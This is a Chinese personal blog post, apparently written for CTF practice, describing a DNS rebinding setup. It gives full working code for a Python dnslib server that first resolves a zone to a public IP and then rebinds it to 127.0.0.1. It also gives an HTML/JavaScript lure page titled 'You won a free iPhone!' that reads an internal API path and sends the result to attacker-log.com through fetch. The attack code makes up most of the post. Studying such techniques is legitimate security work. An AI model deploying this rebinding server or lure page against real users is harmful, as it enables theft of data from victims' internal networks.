dns-rebind

一定要写文章描述吗?

dns-rebind服务

之前做题遇到好几次dns,这次在服务器上部署一个python服务,公开的服务用不明白😅, 这篇博客参考了包神的文章

添加dns解析

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
import signal
import threading
import time

from dnslib import A, QTYPE, RCODE, RR
from dnslib.server import BaseResolver, DNSLogger, DNSServer

MY_PUBLIC_IP = "8.137.79.62"
REBIND_IP = "127.0.0.1"

# 第一次查询后,在这个窗口内继续返回公网 IP
WINDOW_SIZE = 1.5

# 超过这个时间后,状态重置;同一个名字会重新从 SAFE 开始
RESET_TIME = 10.0

# 只处理这个 zone
REBIND_ZONE = "rebind.pencilfishdaydream.fun"


def normalize_qname(qname) -> str:
    return str(qname).rstrip(".").lower()


class RebindingResolver(BaseResolver):
    def __init__(self):
        self.domains = {}
        self.lock = threading.Lock()

    def resolve(self, request, handler):
        raw_qname = request.q.qname
        key = normalize_qname(raw_qname)
        qtype = QTYPE[request.q.qtype]
        client = getattr(handler, "client_address", ("?", "?"))

        reply = request.reply()

        # 只处理 rebind zone 及其子域
        if key != REBIND_ZONE and not key.endswith("." + REBIND_ZONE):
            reply.header.rcode = RCODE.NXDOMAIN
            print(f"[NXDOMAIN] {client[0]}:{client[1]} {qtype} {key}")
            return reply

        # AAAA 一律不给,避免解析器优先走 IPv6
        if request.q.qtype == QTYPE.AAAA:
            print(f"[NO-AAAA]  {client[0]}:{client[1]} {qtype} {key}")
            return reply

        # 只对 A 做 rebinding
        if request.q.qtype != QTYPE.A:
            print(f"[IGNORE]   {client[0]}:{client[1]} {qtype} {key}")
            return reply

        now = time.time()

        with self.lock:
            if key not in self.domains or (now - self.domains[key] > RESET_TIME):
                self.domains[key] = now

            start_time = self.domains[key]

        elapsed = now - start_time

        if elapsed < WINDOW_SIZE:
            ip = MY_PUBLIC_IP
            stage = "SAFE"
        else:
            ip = REBIND_IP
            stage = "ATTACK"

        reply.add_answer(
            RR(
                rname=raw_qname,
                rtype=QTYPE.A,
                ttl=0,
                rdata=A(ip),
            )
        )

        print(
            f"[{stage}]    {client[0]}:{client[1]} A {key} "
            f"elapsed={elapsed:.3f}s -> {ip}"
        )
        return reply


def main():
    resolver = RebindingResolver()
    logger = DNSLogger(prefix=False)

    udp_server = DNSServer(
        resolver,
        port=53,
        address="0.0.0.0",
        tcp=False,
        logger=logger,
    )
    tcp_server = DNSServer(
        resolver,
        port=53,
        address="0.0.0.0",
        tcp=True,
        logger=logger,
    )

    udp_server.start_thread()
    tcp_server.start_thread()

    print(f"[*] DNS rebinding server started on udp/tcp 53")
    print(f"[*] Zone       : {REBIND_ZONE}")
    print(f"[*] SAFE IP    : {MY_PUBLIC_IP}")
    print(f"[*] ATTACK IP  : {REBIND_IP}")
    print(f"[*] WINDOW     : {WINDOW_SIZE}s")
    print(f"[*] RESET      : {RESET_TIME}s")

    stop = threading.Event()

    def handle_stop(signum, frame):
        stop.set()

    signal.signal(signal.SIGINT, handle_stop)
    signal.signal(signal.SIGTERM, handle_stop)

    try:
        while not stop.is_set():
            time.sleep(0.5)
    finally:
        udp_server.stop()
        tcp_server.stop()
        print("[*] DNS rebinding server stopped")

if __name__ == "__main__":
    main()

dns-rebind攻击随着浏览器的发展已经out了,像下面的+js算是一个非常典型的攻击路线,但是谷歌现在加了几条新的机制,现在想复现已经很麻烦了,实战价值比以前少了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html>
  <head>
    <title>You won a free iPhone!</title>
  </head>
  <body>
    <h1>Loading your prize... Please wait.</h1>
    <script>
      // 1. 获取当前访问的完整域名 (例如:x7a9b.rebind.pencilfishdaydream.fun)
      const currentDomain = window.location.hostname;

      // 攻击目标 API 路径
      const targetPath = "/api/get_secret_key";

      // 2. 核心逻辑:等待一段时间,让 Python DNS 脚本的 SAFE 窗口 (1.5s) 过期
      console.log("Waiting for DNS cache to expire and Window Size to pass...");

      setTimeout(async () => {
        console.log("Attempting to fetch internal data...");
        try {
          // 3. 再次向同一个域名发起请求!
          // 此时,浏览器认为这是请求 "同源" 的数据,因此允许读取响应。
          const response = await fetch(`http://${currentDomain}${targetPath}`);
          const secretData = await response.text();

          console.log("Success! Internal data retrieved:", secretData);

          // 4. 数据外带 (Exfiltration):将偷到的内网数据发送给攻击者的另一个服务器
          fetch(
            `http://attacker-log.com/steal?data=${encodeURIComponent(secretData)}`,
          );
        } catch (error) {
          console.error(
            "Rebinding failed or target service not running",
            error,
          );
        }
      }, 3000); // 故意等待 3 秒钟,确保超过了 Python 脚本设定的 1.5 秒 WINDOW_SIZE
    </script>
  </body>
</html>
你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计